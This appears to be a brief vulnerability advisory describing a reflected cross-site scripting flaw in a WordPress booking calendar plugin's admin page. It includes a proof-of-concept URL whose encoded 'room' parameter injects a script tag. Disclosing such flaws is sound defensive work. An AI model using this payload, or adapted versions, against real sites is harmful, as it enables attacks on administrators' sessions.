The plugin does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22